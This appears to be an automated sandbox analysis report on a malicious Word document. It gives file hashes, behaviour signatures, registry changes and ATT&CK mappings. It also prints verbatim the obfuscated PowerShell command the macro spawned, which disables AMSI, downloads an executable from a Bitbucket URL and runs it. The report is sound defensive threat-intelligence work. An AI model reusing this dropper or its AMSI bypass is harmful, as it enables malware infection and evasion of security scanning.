3905f32293f0f6bb16fae72b8e80e124408079824fc9b2c76c03068947f07f46

General

Target

02c83f52_by_Libranalysis.doc
Size

50KB
MD5

02c83f5255f43a2fae36ceb88223599e
SHA1

81d3a39a081d3e8d590cf911635b38fca967901a
SHA256

3905f32293f0f6bb16fae72b8e80e124408079824fc9b2c76c03068947f07f46
SHA512

f978c90c97bd3207a559c2b57b98215d1a373bdc40a9f4e1857413291c43f3cde6219e34512b5130757d6dbe323b69e74e4eefd58b87aa885725debd804f7a2e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/tanake5518/fi/downloads/r1o.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1176	540	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1176 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
6	1176	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

540 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1176 powershell.exe
1176 powershell.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WINWORD.EXE

pid process

540 WINWORD.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1176 powershell.exe

pid	process
1176	powershell.exe
1176	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1176	powershell.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

WINWORD.EXE

pid	process
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 540 wrote to memory of 1176	540	WINWORD.EXE	powershell.exe
PID 540 wrote to memory of 1176	540	WINWORD.EXE	powershell.exe
PID 540 wrote to memory of 1176	540	WINWORD.EXE	powershell.exe
PID 540 wrote to memory of 1176	540	WINWORD.EXE	powershell.exe
PID 540 wrote to memory of 1708	540	WINWORD.EXE	splwow64.exe
PID 540 wrote to memory of 1708	540	WINWORD.EXE	splwow64.exe
PID 540 wrote to memory of 1708	540	WINWORD.EXE	splwow64.exe
PID 540 wrote to memory of 1708	540	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\02c83f52_by_Libranalysis.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $wIKxpp=@(91,100,111,117,98,108,101,93,36,111,115,118,101,114,32,61,32,91,115,116,114,105,110,103,93,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,97,106,111,114,32,43,32,39,46,39,32,43,32,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,105,110,111,114,59,105,102,32,40,36,111,115,118,101,114,32,45,103,101,32,49,48,46,48,41,32,123,101,99,104,111,32,87,105,110,100,111,119,115,49,48,59,36,84,81,78,61,91,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,46,77,97,114,115,104,97,108,93,58,58,65,108,108,111,99,72,71,108,111,98,97,108,40,40,49,50,52,55,48,45,51,51,57,52,41,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,83,101,115,115,105,111,110,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,36,110,117,108,108,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,67,111,110,116,101,120,116,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,91,73,110,116,80,116,114,93,36,84,81,78,41,59,125,101,108,115,101,32,123,125,59,36,99,108,105,101,110,116,32,61,32,110,101,119,45,111,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,59,36,97,32,61,32,39,104,116,116,112,115,58,47,47,98,105,116,98,117,99,107,101,116,46,111,114,103,47,116,97,110,97,107,101,53,53,49,56,47,102,105,47,100,111,119,110,108,111,97,100,115,47,114,49,111,46,101,120,101,39,46,83,112,108,105,116,40,39,44,39,41,59,36,104,117,97,115,32,61,32,36,101,110,118,58,116,101,109,112,32,43,32,39,92,97,113,116,101,116,113,110,119,117,46,101,120,101,39,59,102,111,114,101,97,99,104,40,36,98,32,105,110,32,36,97,41,123,116,114,121,123,36,99,108,105,101,110,116,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,46,84,111,83,116,114,105,110,103,40,41,44,32,36,104,117,97,115,41,59,73,110,118,111,107,101,45,73,116,101,109,40,36,104,117,97,115,41,59,98,114,101,97,107,59,125,99,97,116,99,104,123,119,114,105,116,101,45,104,111,115,116,32,36,95,46,69,120,99,101,112,116,105,111,110,46,77,101,115,115,97,103,101,125,125,59);[System.Text.Encoding]::ASCII.GetString($wIKxpp)|&('I'+'EX');
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1176

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1708

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

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Downloads

memory/540-60-0x00000000724A1000-0x00000000724A4000-memory.dmp

Filesize
12KB

Download
memory/540-61-0x000000006FF21000-0x000000006FF23000-memory.dmp

Filesize
8KB

Download
memory/540-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/540-91-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1176-81-0x00000000056C0000-0x00000000056C1000-memory.dmp

Filesize
4KB

Download
memory/1176-75-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1176-66-0x0000000001EA0000-0x0000000001EA1000-memory.dmp

Filesize
4KB

Download
memory/1176-67-0x0000000004890000-0x0000000004891000-memory.dmp

Filesize
4KB

Download
memory/1176-63-0x0000000000000000-mapping.dmp

Download
memory/1176-69-0x0000000002520000-0x0000000002521000-memory.dmp

Filesize
4KB

Download
memory/1176-70-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1176-71-0x0000000004852000-0x0000000004853000-memory.dmp

Filesize
4KB

Download
memory/1176-72-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1176-76-0x0000000005650000-0x0000000005651000-memory.dmp

Filesize
4KB

Download
memory/1176-90-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/1176-64-0x0000000075A71000-0x0000000075A73000-memory.dmp

Filesize
8KB

Download
memory/1176-82-0x0000000006150000-0x0000000006151000-memory.dmp

Filesize
4KB

Download
memory/1176-89-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/1708-65-0x0000000000000000-mapping.dmp

Download
memory/1708-68-0x000007FEFB9A1000-0x000007FEFB9A3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads